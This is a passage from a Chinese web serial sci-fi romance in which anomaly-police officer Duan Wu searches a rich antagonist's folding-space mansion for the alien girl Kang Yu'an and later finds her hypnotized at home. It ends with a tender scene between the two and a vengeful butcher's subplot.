风火轮最终没跑过越野,还有两步之遥就到了控制范围了,巧了,越野车和小精灵之间也只差两步之遥了。 一脚刺耳的刹车,尘土混着焦味扑了小精灵满脸满鼻子,一辆车正正好好的停在排水通道上。 “妈的!”任何生物到了一个新的星球,先学会的都是最纾解情绪的语言,哪怕是世家小精灵也不例外。 车里的糙汉们打量着精致瓷器一样的小精灵,正准备下车带回去,对面的道闸门缓缓打开,门外的光,滤镜一样倾泻在康屿安的身后。 康屿安回过头、眯起眼睛,看到了一只墨绿的小乌龟,踩着七彩祥云直奔她而来。 另一辆护盾装甲车直奔一排越野车而来,整齐的银色机器人的右臂上,都有一颗闪闪发光的金星。 端戊从车上下来,拉住呆愣的康屿安:“又吓傻了?走,回家!” 辛瑙从副驾伸出头,对外勤机器人发号指令:“都带回去,一个都别少了!” 被捕的过程明显比刚刚抓康屿安的过程井然有序多了,甚至没有吵闹,都很自觉的低头跟着走。 小乌龟领着装甲车绝尘而去,只剩下一排车门敞开的越野车,停车场最终恢复了安静。 很快,坡道渐渐扭曲变形,越野车颜色也越来越淡。整个停车场在扭曲变淡中混为一体,最后成为一个旋转的黑洞。 黑洞最后静止画面,成为一张暗黑的屏幕,黑直长发、戴着正圆黑框眼镜的叶白站在屏幕前。 35.第 35 章 面前的黑屏像是突然笼罩在头上的乌云,让叶白整个人都变得阴沉沉的。 她缓缓地转过身,目光阴戾地看着身后,那个人穿着黑色卫衣,卫衣帽子戴在头上压得低低的、看不清面孔。 “就这?我之前说得不够清楚吗?我要知道的是为什么无法捕获康屿安的意识。崔雪松!你这是让我看了一出英勇女警、除暴安良、救获人质的警匪片?”叶白用食指一下下戳着人家的右肩。 只要想到自己就是那个幕后黑匪,叶白更不爽了,凭什么自己就得是那个反派! “叶老大,这个地图只能展现出康屿安在当时场景下,意识中会做出的相应反应,或许我们要找的原因在她的意识深处未激活,又或许对她来说没有那么重要。” 崔雪松被她戳得前后摇晃,却努力保持身形不动,从站姿来看,更像是其他星球的军人。 “我找你来,给你钱,满足你的请求,不是让你和我分析你这破地图的!”叶白声音压得很低,可是站在门口的安保队长却下意识地抖了一下,头也跟着压低了。 “至少,我们从这张地图上得到了一些精准信息,在这里对康屿安最重要的人、潜意识能救她的人是这个警察。” 崔雪松不想和一个暴躁狂争论对错,又要把自己从泥潭里拔出来。她机智地转移了叶白的注意力,甚至是有点成心地戳她痛处。 崔雪松到底是不够了解叶白,有钱有势的暴躁狂只是她的表象人格,她还又很多隐性人格。 “嗯,是的呢!盯着没得到的有什么用?对眼前得到的视而不见才是愚蠢。康屿安具备一项可以逃跑的异能,那是什么呢?”叶白像是一只做坏事的小狼,眯起了眼睛。 崔雪松心里咯噔一下,低估了叶白!只顾着自保却无意引导她发现了康屿安的异能。还好,有个小工具屋挡住了过程。 “您说的对!对于地图里的人来说,所发生的一切只会以为是个梦,醒来后记忆零散很难连贯,不容易被察觉,很快就忘记了。而且人在睡梦中最为放松,几乎没有什么警惕性,所展现的也是毫不设防的事实。我会尽快开发新地图,尽早挖掘出您想要的东西。” 崔雪松换了个话题,尽量转移叶白的注意力。 叶白如同开启了省电模式,蓝色的眼睛一动不动地看着崔雪松:“刚刚,康屿安离开的工具屋,进去的时候水龙头是关着的。而她消失以后,水龙头在滴水。她突然出现的地方,是一个排水通道。她发现无法从闸道出去,第一反应往回跑,也是奔着那个排水通道去的,她的异能离不开水。” 崔雪松恍然大悟:原来叶白并不是在看着她,而是在回忆刚刚的地图,她以为狂躁无脑的人,事实智商远远在她之上,她竟然以貌取人了。 崔雪松看着叶白,不再自作聪明,也不敢随意发表言论。而叶白也恢复了最初的纨绔样儿,吊儿郎当地坐在沙发上,喝着特调的鸡尾酒。 “坐下来,一起喝一杯?”叶白表情甚至有些轻佻地用酒杯点了点对面沙发。 崔雪松下意识地想要拒绝叶白,她想和叶白保持一个安全的距离。 这时,安保队长的量子加密对讲机有消息进来,紧接着走到叶白旁边贴近她耳语。 叶白摇晃着柯林杯,蓝色的液体映在她蓝色的眼睛里,异常诡异:“康屿安最重要的人还真的没让她失望哈!可是这样我就会很失望,就会变得不好玩了呢!你说是不是?” 那双诡异的眼睛,在一张无害的脸上满是期待的看着崔雪松,竟然让她莫名感到很冷:“嗯,是的。” “你也是个无趣的人,期待你的下一个地图能给我带来惊喜哦。”叶白走过去拍拍崔雪松的肩膀,感觉到她僵硬的抗拒,邪魅一笑地出去了。 去见自己并不想见的人,别说不会跑了,恐怕能有多慢就有多慢,如果可以都想龟速爬行着过去。 叶白从不认为在宇宙中,有什么人和事是可以让她害怕的,哦,叶意秦哭了除外。 可是她就是很抗拒见到端戊,那种抗拒感提醒着她,那是刻在基因里、流淌在血液里属于匪对警的本能防备。 所以,叶白没有走折叠空间,而是一步一步地走到会客厅。 走到门口站了一会儿。她看向安保队长,对方心领会神地从口袋里摸出操控器按下去。 整个会客厅恍若无物的出现在面前,甚至玻璃隔断都没有,就像叶白身在会客厅里一样,甚至可以清晰的听到里面的声音。 会客厅是灰白黑三个色调的,白色的墙壁和天花板,灰色的地板和窗帘,黑色的沙发和茶几,桌上摆着白色的杯子和空花瓶,没有一丝其他的颜色。 端戊从装修风格猜测主人是个性格极端的人。 “师父,我们……”辛瑙还是有些不安,甚至她已经想要求助她爷爷了,如果真的东窗事发,她爷爷有没有可以动用的人脉。 “闭嘴,保持安静!”端戊感觉到在这间会客厅里不止有她们三双耳朵。 辛瑙和端砚神同步的把嘴巴抿成一条线,辛瑙是一点就透了,端砚是习惯性听话。 门口的叶白也笑了,对手太强了让人头疼,可太弱了让她觉得是种侮辱。她觉得端戊就很正好,旗鼓相当才是平添乐趣。 她这么想也没错,往往伯仲之间相似之处会更多一些。端戊在进入战场之前,也喜欢先观摩对方。 呃,这么看来叶白更卑劣一些,她这属于听墙角。 眼下墙角也没什么可听的,叶白抬起食指向前摆动,安保队长把会客室恢复了正常墙体,她才迈着散漫的小步伐走进去。 “端局大驾光临,有失远迎,让各位久等了,实在是过意不去。”叶白开场说了句地道的人话,虽然有些违和感,可是听起来还算正常。 “客气了,听说小叶总的父亲送了一套折叠别墅做生日礼物,正巧清异局今年空间改造,想着过来观摩借鉴一下。”端戊笑得厅里厅气的,对着叶白点头。 “哈哈哈,端局说笑了,您就实话实说吧,这是打着观摩的幌子,来我家搜查的吧?这么遮遮掩掩的,怕是没有搜查证吧?” 叶白立刻察觉到端戊 的动机,戳泡泡一样毫不留情的戳破,她喜欢出其不意先攻个对方措手不及,占个上风。 “小叶总您也实话实说吧,做了什么违法违纪的事情,会认定我们是来搜查的,单纯拜访有问题吗?”端戊笑不达眼底的样子,像极了鳄鱼在哄骗岸边的小浣熊。 辛瑙和端砚坐在一旁看在眼里,都觉得端戊假的过于敷衍。 “有问题啊!问题是我拒绝端局的拜访。”叶白笑得倒是真诚,拒绝的也实诚,还笑得格外气人。 辛瑙和端砚像是两个拨浪鼓人似的,小脑袋刚从端戊身上转到叶白身上,又立刻从叶白身上转了回来。 “呵呵,这个问题还真是不大,我有说过来拜访小叶总吗?有没有可能,我此次过来是拜访叶总的?”打蛇打三寸,端戊这一棒子打得精准无误。 小毒蛇被打的有点蒙圈,气场都被打乱了,像个赖皮的孩子:“找我妈也没用,我妈没在家。” 叶白怎么会让端戊见到叶意秦,都说好了伤疤忘了疼,被打开花的屁股还绽放着呢,这会儿提起她妈妈伤口都应激疼。 辛瑙看着端戊,眼睛里开始有了些钦佩:这局还得师父来破,但凡换个正经点儿的,都容易拿叶白没办法。 果然,端戊根本不给小孩子耍赖的机会:“家长不在家啊?大人之间的事情,还是得大人直接沟通。我有叶总的联系方式,我自己约她吧。” 说完,端戊已经甩出自己的悬浮屏,而且并未开隐私模式,当着叶白的面从通讯录中把叶意秦拖了出来。 慢悠悠的伸出修长的食指,贴上叶意秦的意字上。 “好啦!这点小事别打扰我妈妈了,元安,带客人四处看看!我就不奉陪了,几位随意!”第一个回合狼狈落败,让叶白马上就装都不装了。 本来她应该占上风了,还能以此把对方逼进死角的,甚至还可以借机检举端戊。 怎么就被带跑偏了呢?这一向是自己套路别人的路数啊?怎么有人走了自己的路,让自己无路可走了呢? “那就多谢小叶总喽,恭敬不如从命咯?”辛瑙努力压住想要和端砚击掌的冲动,嘴角却是丁点也压不住,或许是根本就不想压。 “辛大小姐狗腿子做的有滋有味哦?”叶白来到地球虽然也不过五年,可是对于这两个闲着无聊、又爱热闹的人来说,都很热衷于参加各种活动。 “念大家是旧识,这次我当自己没听到哦。辛警官有义务提醒你,根据地球警察法第十五条,明确规定,公然侮辱正在执行职务的警察,给予治安管理处罚。” 辛瑙对个人荣誉其实并没多在意,对她来说无非是被狗咬了,难不成还咬回去。可是对于职业的侮辱,她定是寸步不让的,哪怕落得一嘴毛,也不可能放过狗。 “少在这说那些有的没的了,对于你们来说,浪费时间有可能会出人命哦。” “你什么意思?你还说这件事情和你没关系?”端砚如一颗小炮弹一样,从沙发上直接发射到了叶白面前。 看样子只要叶白敢承认,她就能原地爆炸。 36.第 36 章 你可以说叶白不善良,但是不能说她没礼貌。 这会儿,她低下头认真看着在自己面前仰起的小圆脸,尽量在眯缝眼里找到端砚的视线,以示尊重。 “小朋友,你们这么不管不顾的,哦,甚至可以说无所不用其极了,只要稍微动点脑子就知道已经人命关天了吧?”叶白右手指轻点自己的太阳穴,戏谑地盯着端砚。 “你……既然都是小朋友,我们之间就不用这么装腔作势了吧?”端砚葱白的小胖手插在腰上,挺起了宝宝肚。 “哼!”叶白有点后悔,刚刚找回场子就应该撤,干嘛要和这个小豆丁纠缠,胜之不武,输之侮辱。 叶白的身高和康屿安看起来差不多,看着她离开的背影,辛瑙毫不吝啬地对着端砚竖起来大拇指。 端砚立刻回了辛瑙一个wink,相识许久以来,两个人第一次橄榄枝大碰撞。 安保队长带着他们在允许范围内参观,辛瑙看着这个幽深诡谲的大房子,已经不奇怪叶白为什么会长成这个样子了,这种原生家庭的土壤,只能长出这样的娃。 “怎么没有叶白父亲的信息?她父亲会是一个什么样的人啊?”辛瑙在叶白的家里,大大方方的蛐蛐着人家。 “叶白明显不像她母亲,那就是像父亲了。”端戊凝神勘测路过的空间,还没发现外星人的气息。 走在前面的安保队长侧头看了看她们:我还在这呢,就这么明目张胆地蛐蛐我家主人? “师父,怎么会有人做坏事在自己家里呢?我们会不会是找错方向了?” 辛瑙用最近师祖补的犯罪心理学复盘了一下,觉得不符合逻辑。即使换位代入,还是觉得干不出来这样的事。 “你站到自己的对立面去推测叶白,就刚刚好。我对她进行过表层行为和意识内核分析,她是反人类内核,高神经质、无安全感人格。她父亲并不是无缘无故送给她这样一个折叠空间别墅的,那是因为家以外对她来说都是危险的,越是做危险的事情,她越是会选择在家里。” 端戊更不是冲动无脑的人,她十分的确定,如果是叶白绑走了康屿安,一定是要把她带到这里来的。 “嗯哼!”保安队长再次侧头,还用力的假咳了一声。 能不这样过分的忽略我吗?我到底不是透明的,就算这些可以是你们说的,却是我能听的吗? “可是,叶白看起来很坦荡的,并没有阻止我们,会不会是折叠空间内可以躲避勘测啊?” 辛瑙回头找落在后面的端砚,感觉她有点奇怪,突然间看起来就没那么焦急了,那样子有点像混迹在警察里的贼。 “它只是折叠起来,重叠面积增加了固定空间又不会变,再复合也是在搜索范围之内。”别墅的可见面积已经走了大半,端戊面色更凝重了。 如果在叶白这找不到,才更让人担心。 猛地想起金安,又想起那对灰色的小耳朵,端戊紧握的手指有点抖。 前面带路的保安队长彻底放弃的垂下头:透明人就透明人吧。 他这个举动看在端戊和辛瑙的眼里,更像是心虚。几乎同时,她俩都认定马上就可以找到康屿安了。 辛瑙留意到端砚一副欲言又止的样子,反而比前面的透明人更有嫌疑。 “师父……”辛瑙想说,咱们要不要先内部排查一下?还没等说完,被她师父一把捂住了嘴。 挺不巧的,好像还有口水沾到端戊掌心了,换做平时,端戊能嫌弃的一把推翻她,还会在她的衣服上擦手。 而这会儿,端戊眼里闪着黑亮的光,甚至是屏住呼吸地盯着一扇门,许久才能感觉到她又恢复呼吸了。 端戊丹凤眼外的那圈红线扩散成红晕,黑亮的眼里透着血色的光。她推开辛瑙,对掌心的口水毫无察觉,两步跨到门口猛地推开。 她确定了,那是有外星人出现的讯号。而且她反复确认过,那是属于朝暮星的电波。 身后的辛瑙是激动的,跟在最后的端砚是困惑的,但是都火速的跟上端戊。 门被推开后,三个人先看到整面墙的全息屏,只是看起来像是一个黑色立体鱼缸,一个穿着黑色卫衣扣着帽子的人,背对着门口站在屏幕前。 那不是康屿安。 可是,那一定与康屿安有关。 端戊快步走到那个人身后,猛地拉下头上的帽子。对方有明显的躲闪动作,却最终选择没动。 “白色耳朵?少见啊!”辛瑙很惊讶,她最近可是有认真得补课来着。 随着拉下帽子的动作,端戊顺势扳着一侧肩膀让她转过身来。 三七分的利落短发,拉下帽子后凌乱而狂野。英气的浓眉下是眼皮很薄、眼睛平直,国字脸的棱角坚毅。 “是的,很少见。各位有事吗?”崔雪松没有被冒犯后的不悦,也没有被突袭的惊慌。 “认错人了。朝暮星来的?叫什么名字?有地球居住证吗?”端戊如猫一样,围绕着房间巡逻一圈。 除了对着门口的全息屏,只有对面的沙发、茶几和柯林杯。杯底是蓝色的残酒,淡淡的酒香有点甜丝丝的。 黑色卫衣女生身上没有这个味道,反而叶白身上有闻到,所以说,刚刚叶白在这里。 “我叫崔雪松,是小叶总聘的全息工程师。刚刚到地球面试,还没来得及去办理证件,如果通过面试会第一时间去办理。”崔雪松的身高和端戊差不多,与她对视时,眼里没有波动也看不出情绪。 “崔雪松……好哇,我觉得你一定会留下的,我等着你来办理证件。”明知对方不会暴露什么,端戊还是盯着对方灰色的眼睛,因为那个颜色和康屿安头发都颜色是一样的。 “多谢,借警官吉言,那我先出去了,不耽误各位了。”即便崔雪松对端戊有着浓厚的兴趣,却不是现在,来日方长。 “朝暮星人很少有你这样的身高,你是军人?”端戊兴趣同样浓厚,而她有问题都是当场就解决的。 “我想警官有更紧急的事情要办,别耽误了正事儿,毕竟,我们还会再见的。”崔雪松对着端戊笑,看起来很憨直的样子。 朝暮星 人都这么擅长伪装吗?端戊自然不全信,可是还会再见的,却一定是真的。 而且她说的没错,有更要紧的事等着端戊。可是怎么感觉她应该知道什么,要不要带她回去问话? “你……”端戊想要喊住她,这个人身上的军人气质很难掩饰,而她却在刻意伪装。 “姐!”与此同时,一直闷着不吭声的端砚,却拦住了她。 端砚跑过来,拉着端戊修长的手指,把她姐拉成一棵歪脖树:“姐,我们是不是有个地方还没有找?” 端戊看着端砚心虚的小眼睛不停地躲闪,嘴角上是讨好的笑,根据看着她长大的了解程度,立刻猜到了端砚说的是哪。 “你还真是厉害啊,这事儿干得真漂亮!你差点让你姐冒着违规的风险拆了别人的家!”端戊气有点牙痒痒,可是如果那是真的,又是她求之不得的结果。 “你俩在说什么?哪?星格网链中心?”辛瑙像个丈二和尚似的看着她俩猜谜。 端戊没再理她俩,率先大步的出去了。 端砚看了一眼辛瑙,快步跟上端戊:“哎呀!别问了,快走吧。如果我一会挨打,记得拉着点。” 虽然辛瑙还是很想知道,可是这会儿不得不小跑着跟上去:“可以呀!那如果将来我挨揍你赶上了,也得拉着点你姐哦!” “没问题!”端砚头都没回,联盟就这么结成了。 回到小乌龟里,辛瑙看着端戊白皙的脸上爬满黑线,端砚大大的脑袋都快缩进小小的身体里了,竟然还能不要命的八卦。 “我们到底要去哪嘛,康屿安在哪嘛!”辛瑙实在太想知道了,谁说好奇只能害死猫,有的时候,人类也会因为好奇不要命。 端戊脸上的黑线淡了一些,从后视镜看着后排:“端砚说!” 突然的一嗓子,吓得端砚缩起的脖子咻地就伸直了,狠狠地瞪了辛瑙一眼:问问问!就知道问,哪壶不开非得提哪壶! 一抬头与后视镜里与端戊眼神对上了,不想说也得说了:“去康屿安宿舍。” “还没出们?咱们在这又是报警又是抄家的,还吓唬人家孩子,结果是个大乌龙?”辛瑙看出来端戊是真的够爱端砚的,熊孩子整的这一出,怎么也得一顿揍吧? 要不是端戊反应快,对叶白提前做过功课还算了解,没准这会儿已经被投诉停职了。 “只不过可能性比较大,也不一定的吧……”端砚也不清楚自己怎么就断定康屿安丢了。 “我如果是你,我就祈祷康屿安是在家的……”等辛瑙得知康屿安有可能在家,她不由松了一口气,乌龙总比命案强啊。 “嗯,你说的对,这样我就可以和康屿安责任平摊了,没出门为什么不告诉我?”端砚用力的点头,找到了就好,还能有人和自己分责。 辛瑙回头看着端砚高兴的摇头晃脑的样儿,有点想揉揉她那颗大脑瓜,到底都装了些什么啊,小孩子的想法还真不是大人能够理解的。 “有没有可能,她是在宿舍里出事了?”辛瑙歪着头,认真的问端砚。 37.第 37 章 三个人赶回公序舍,正赶上电梯检修。看着电梯口的警戒线,就连神经大条的辛瑙都察觉出凑巧的太不对劲了。 “很少听说政府宿舍发生故障,而且通常也不会白天检修的,师父你住几楼?”辛瑙体弱的小身板,还没开始爬就已经犯怵了。 端戊已经跑进楼梯间,大长腿一步两个台阶,看呆了跟在后面的短腿和瘦弱。 “到底住几楼啊?”单是这么看着,辛瑙就想跟着喘了。 “好像是在十三楼吧?”端砚也叹了一口气,房顶都已经漏了,天为嘛还要下雨呢? “十三楼?我长这么大连三楼都没爬过!”辛瑙想要直接打挺、就地晕倒。 “你这么娇气的吗?那怎么还来当警察?”端砚突然有点瞧不起辛瑙了。 “不是娇气,是体弱。我是异警好吧,靠的是脑子和异能。”辛瑙怎么会看不出端砚的小眼神。 能靠脑力取胜,谁还靠武力啊,多累啊。 辛瑙和端砚气喘吁吁地爬到十三楼,门神小狗正四脚朝天地躺在门口嗡嗡叫呢。 “唐僧取经都没她难,怎么就盯着她不放呢?吃了她的肉又不会长生不老。”端砚张着小嘴喘,还不耽误她吐槽。 “唐僧有孙悟空,康屿安有你姐,放心,都死不了……”辛瑙比端砚惨多了,把这辈子的楼梯都爬完了。 “在门口墨迹什么呢!辛瑙赶紧进来!”端戊在客厅里听俩人刚爬上来也就算了,还拉扯什么唐僧孙悟空的,气就不打一处来。 “来啦!嘴说话时,一点都没耽误腿爬楼啊,一秒都没敢歇!”辛瑙相信自己比端砚了解她姐,毕竟未来不知道多少年,和她姐相处时间最长的都会是她。 大多数人在长大以后,每天从早到晚陪在身边的,先是同学、后来就是同事了。 “过来看看怎么回事,你之前不是拍胸脯保证锁得牢牢的,谁都别想拐走吗?”时不时的质疑,让辛瑙每天都在不断证明自己的能力。 之前也没人说考核期是每天啊! “师父,咱俩的这点信任被你戳得千疮百孔的,我天天都在补窟窿。先别急啊,让我看看是怎么个事。”辛瑙捂着胸口安抚着狂跳欲出的心脏,坐到康屿安另一边的沙发上。 “你别告诉我她是睡着了,我已经掐过人中了,也没醒过来。”端戊握紧康屿安的手,怕她失温更怕她消失。 端砚看着俩人的手,突然意识到要和康屿安分责的那个想法有点蠢呢。 “还真是睡着了……”辛瑙抹了一把并不存在的汗,当事实太过于匪夷所思时,比说谎还显得尴尬。 “屁!没看到门口被攻击的机器狗吗?说睡着了你自己信吗?”端戊把康屿安往自己怀里揽了揽,好像辛瑙是骗子一样。 辛瑙习以为常的拿出她的斧子镰刀链,把端戊往一边推了推,免得影响了她做法:“这次还真的是被催眠了,看好啦师父,不需要睁着眼睛也能被催眠,当然也能被叫醒。” “当时传你法器的师父,没教你个口诀什么的?”端戊没有那么紧张了,虽然她总是质疑辛瑙,不代表不信任辛瑙。 不确定的事情她是从来不会随意说出口的。 “那不是我师父,是商家。人家可只有您一位恩师呢!”施法并不不耽误辛瑙表忠心,求生欲强的呢。 “买的?这东西价格不菲吧?”端戊灵光突然狂闪,这世上有异能的人凤毛麟角,可从不缺有钱的人啊。 比如说辛瑙,她什么都不缺,反而更在意个人价值了,总想能干一件又酷逼格又高的事,清异局不就刚好符合吗? 只拼财力和品行,不比卡异能容易多了? 格局打开,思路放开,王校长再也不用愁的天天满嘴小水泡了。端戊突然想替王校长招生去。 “价格不菲?应该说是价值连城才对,就这么一根小链子可以换白舍全球的深空星际运输,他可能还要再搭上几家深港超市。”辛瑙还真不是炫富,这就是数百年的根基和富初代的区别。 “这么贵?”端戊有种被贫穷限制想象力的大意感。 “如果是和我这条小命比,也还行吧。”辛瑙收起法器,翻起康屿安的眼皮看了看,满意点头的样子竟有些扫地僧般的世外道骨。 “她大概多长时间醒?”端戊流程基本已经熟悉了。 “自然醒,那我先回了。”辛瑙朝门口走,顺便看了一眼挨着墙角正自己罚站的端砚。 端戊这才想起来她还有个妹,满眼秋后算账的瞪了端砚一眼,喊住辛瑙:“唉等等,把端砚替我送回去,再查一下那个崔雪松的资料,包括她到地球上的时间。” “行,妥妥的把你妹送到家,走了哦。”辛瑙看了一眼端砚,示意她跟上。 端戊感觉康屿安似乎动了一下,仔细看她还是保持原来的姿势,眼睫毛依然像一幅画,投在白透的皮肤上。 她想起了第一次见到康屿安时,也差不多现在这个样子。 端戊想了想,抱起康屿安把她送到床上。脱掉鞋子时,隔着袜子都能看得出两只小脚丫的不同。那个明显窄了一些的右脚,应该是少了一根脚趾头吧?一定很痛吧? 整颗心抽筋似的揪了一下:心脏也会神经性痉挛? 她想去碰碰那个少了一根脚趾的地方,手指刚靠近又退缩了,她会不会痛?一动不动地盯着袜子下缺失的那一块儿。 “康屿安……”端戊被自己的声音吓了一跳,不敢相信是自己喊出来的,想要替她拉上被子,手忙脚乱间扯起的竟然是康屿安的裙角。 端戊从没这么慌乱过,盖好被子转身就要离开这个磁场混乱的地方。 脚还没动,手腕却被拉住了,像覆盖上了一圈花瓣,是婴儿一样的柔嫩。触感端戊是熟悉的,只是这一次咋就定在原地了呢? “端戊……”康屿安的声音犹如从云里来,又被雨洗刷过。 “醒了?出了什么事?”端戊像是个关节生了锈的机器人,直直的转过身来。 “我怎么睡着了?我约了端砚的?几点了?”康屿安还记得端砚,在她印象中最后一件事情是要出门。 可是,怎么就没出去呢? “已经是晚上了,端砚和辛瑙刚刚从这走,有人破坏了门口的机器狗,你被催眠了。”端戊坐在床边看着康屿安,皮肤是睡饱后的光亮,晕染了隐约的胭脂红。 康屿安看着不像有事的样子 ,端戊心慌的症状却加剧了。 “我没看到有人进来,我只是在沙发上坐了一下,然后就睡着了。”康屿安握着端戊的手腕,并没有放开。 康屿安的手心微凉,挨在皮肤上还挺舒服的。可是端戊却觉得手腕处微烫,鼻翼渗出汗珠了。 她下意识的看了一眼空调:还没到开空调的季节啊。 有两个声音在心里,不,是在耳朵里叽里呱啦的吵架。 “快点回自己房间啊?” “着什么急,人家刚醒不得陪陪?” “都什么时间了,陪什么陪啊!” “晚什么晚?还没吃饭呢!” 端戊咻地从床上站起来,康屿安毫无防备的被带一个趔趄,放开了手。 “姐姐带你去吃饭啊?”辛瑙看着霜打的端砚,耷拉着大脑袋还怪可怜的,想要哄她开心。 “哼……你是谁姐姐……”凶人都蔫头巴脑的没力气了。 “我怎么就不能是你姐姐呢?我是你姐的徒弟……”一不小心嘴快了,话说出口才发现,为时已晚。 这关系对吗? “对的嘛,你是我姐的徒弟,咱俩差着辈分呢,你得叫我姑姑。”端砚年纪不大、脑子转得快着呢,还会排辈分。 谁知道排得对不对呢,反正辛瑙也排不明白。 “不是这么排的,我和你姐是同事关系,所以你叫我姐姐又不吃亏!”管她能不能排明白,也得掰回来。 “不吃亏,也没有什么好处啊?”端砚依然恹恹的,情绪比她的身高还低。 “你怎么知道没有好处,你说你想要什么,姐姐都能满足你。”辛瑙不乐意了,她可是行走的财神爷,居然被轻视了。 “是的哦,刚刚听你们说话,你家富可敌国。”端砚突然想起来,终于来了点精神头了。 “呃有点过了……就算是,也不能这么直接说出来哦,财不外露。”辛瑙突然发现和端砚炫富并不是什么明智之举。 “你刚刚说什么来着?”端砚歪头看着辛瑙,咕嘟咽下了口水。 辛瑙下意识向后躲了一下,我滴乖乖,我哪句话让小姑娘误会了?这是要吃了我吗? “哪,哪一句?”嘴皮子利索的辛瑙也有不利落的时候。 “第一句啊?”端砚突然又有点嫌弃辛瑙了,傻的吗?我这饿的不明显吗? “姐姐带你去吃饭啊?”辛瑙试探着问,都聊了这么多了,居然回头问她第一句。 “嗯!吃饭走起!”端砚大手一挥,乖乖地自己系好安全带。 辛瑙带端砚来了云廊自助餐厅,看着满天的云舱穿梭在动态仿真云之间,错综交错的轨道上都是看不清、只能靠脑补的美食,端砚把细长的眼睛都睁圆了。 “这简直就是我的天堂啊!”端砚连着咕咚了好几声。 “喜欢啊,那就放开了吃!”辛瑙大方的在机器人管家前刷了一张云廊至尊卡。 这卡还真不是辛瑙的,而是上一次云廊补偿给端戊的。清异局就她俩,这卡就直接变成公卡了。 “你说我姐和康屿安在干嘛?”端砚还是个小有良心的,都已经身处天堂了,还能惦记着她姐和她的好闺蜜。 38.第 38 章 听到端砚提到她姐,辛瑙还是有一点心虚的,但很快就被铺天盖地的瓜味覆盖了。 “你是不是也觉得你姐和康屿安……哈?”辛瑙不停的对端砚眨眼。 情窍未开的端砚只会觉得她有病:“怎么地?眼睛不舒服?” “不是?那你提她俩干嘛?”辛瑙这才意识到自己的盟友是个小朋友,主要是小屁孩太精了,精的容易让人忽略她是个小孩儿。 “康屿安应该醒了吧?你猜她俩吃的什么?”虽然惦记端戊和康屿安的晚饭,可一点也不影响端砚抢过云舱牌找位置。 “这个时间应该是吃食堂的吧。对了,姐姐带你吃自助,叫声‘姐姐’都不肯的吗?”辛瑙看着端砚撅哒地走在前面,头顶的小丸子也跟着一晃一晃的,就想逗逗她。 “想得美!”小东西根本不吃她这一套。 辛瑙猜对了,又没完全猜对。 端戊确实是提议吃食堂的,可是康屿安更痴迷方便面,只能一头钻进厨房投其所好去了。 洗碗机旁边柜子空隙里的袋子已经不见了,就好像从未出现过。 端戊不想把工作带入生活,虽然工作中的康屿安已经融入了生活。这会儿,她都想把方便面煮出花来。 很快,开出花的方便面勾出了康屿安。她走到端戊身后,犹疑了两秒,从背后抱住端戊纤细的腰肢,巴掌脸贴在紧致的后背上。 端戊背部的肌肉群顿时绷紧了,虽然她俩已经成为口头承诺的恋爱关系,可除了危急时刻拉拉手、抱一下,并没有更多的亲密举动。 端戊多少是有点挣扎的:上次讨论我俩都恋爱关系不欢而散,究竟是不了了之、还是保持原承诺?现在看来,应该是后者吧? “很快就可以吃了……”端戊觉得自己应该喝点水,声音都干哑了。 “我自己在房间有点怕。”康屿安刚好相反,如同刚从晨露里捞出来的一样。 端戊迟疑着,还是腾出了左手握住康屿安的两只小手,冰冰凉凉的,也不知她天马行空地都乱想了些什么。 “抱歉啊,没有保护好你……”端戊再次动摇了,其实更后怕的不是康屿安,而是她自己,她有些自责。 “你做得挺好的呀,别动不动道歉的。你看啊,总是有人想要我的命,可你每次都能我把救回来,把我的小命护得妥妥滴。” 康屿安打断了端戊,她不认为和端戊有关,是她自己做出的选择。她也知道做出选择后,会发生什么。 “你还挺容易满足,活着就好!”端戊眉眼弯弯地转过身来,抱住康屿安,才发现她这个人都是冰凉的,于是抱得更紧了些。 “当然!你不是常说,只有活着,一切才皆有可能嘛。”今天的康屿安格外的乖巧,甚至有点不像她了。 “哈对啊,我会保护好你、和你的命。”端戊轻吻紫色的小耳朵,看着两个小耳朵惊栗着几近透明,坏坏地轻咬康屿安的耳尖。 感觉着耳尖在唇齿间从颤抖到僵硬,最后软软的像是失去了支撑。 康屿安紧贴着端戊的锁骨,想动却又不敢动,最后,深吸一口气,尝试着用舌尖轻轻点着锁骨的深凹。 康屿安温软的舌尖猝不及防地烫到了端戊,咬紧牙关却忘了齿间的耳朵尖。 “唔……疼!”康屿安惊呼着,不等端戊做出反应,报复地咬住锁骨处的皮肤。 微痛,却酥痒入心。 端戊低头去找罪魁祸首,想要小惩为戒。却看到康屿安轻启唇瓣,看着锁骨上的牙印,一副不知所措的样子。 “疼……疼吗?” “疼啊!所以,你是要补偿的……”端戊的嗓子更哑了一些,眼睛锁定了目标,直奔粉嫩的唇瓣而去。 康屿安兔子一样可爱的小鼻头,小狗似的抽动着:“你闻到什么味道了吗?” “嗯?”端戊用力的吸鼻子,淡淡的糊味扑进鼻息:“糟了!忘了关火了!你的方便面!” 烟雾缭绕的熏肉厂,远远望去,小山一样壮实的背影,麻木机械的保持一个姿势,重复着一个动作。 走近了才发现,黑色背心下裸露出的皮肤,毛发茂密的像是穿了毛衣毛裤。 “马利斯基……”一个阴恻恻的声音从身后飘过来。 人家根本就没搭理,手上骨肉分离的动作顿都没顿一下,三下五除二,一只大肥猪就已经皮是皮、肉是肉、骨头是骨头了。 “你哥马托斯基死了。”轻飘飘的声音像是软刀子一样扎过来,一下子扎到了马利斯基的命门上。 “啊……谁干的!”震天震地的咆哮,从马利斯基的胸腔喷涌炸裂而出,手上的大肥猪立刻一分为二。 猛地转身过来,露出一张长满毛的脸,和马托斯基一毛一样。甩开手中的碎片,一步跨到还没自己咯吱窝高的矮个子面前,拎着他的衣襟就举起来了。 “谁干的!是谁杀了我哥!是你吗?啊?是你吗?”马利斯基明显比他哥的智商更略逊一筹,大吼大叫着摇晃手里的小个子。 “我是镇北,是你哥的朋友,专门过来通知你。是清异局杀了你哥,清异局的端戊才是凶手。”镇北瞄了一眼地上的肥猪碎片。 “我要杀了她!去哪找她?我要把她撕成碎片!”马利斯基把镇北丢在地上,嘴上啐啐念着离开屠宰区。 镇北赶紧爬起来,着急忙慌地追上去。 端戊手忙脚乱地抢救完方便面,两个人也冷静了,面对面坐在餐桌前。 端戊说不能吃,康屿安非要吃。 看着小精灵吃出人间美味的满足相,端戊怀疑康屿安味觉与人类不太相同。 “门口的机器狗是不是坏掉了?”康屿安甚至喝掉了最后一口面汤。 “嗯坏了,面吃着不苦吗?”端戊不相信康屿安闻不到糊苦味儿。 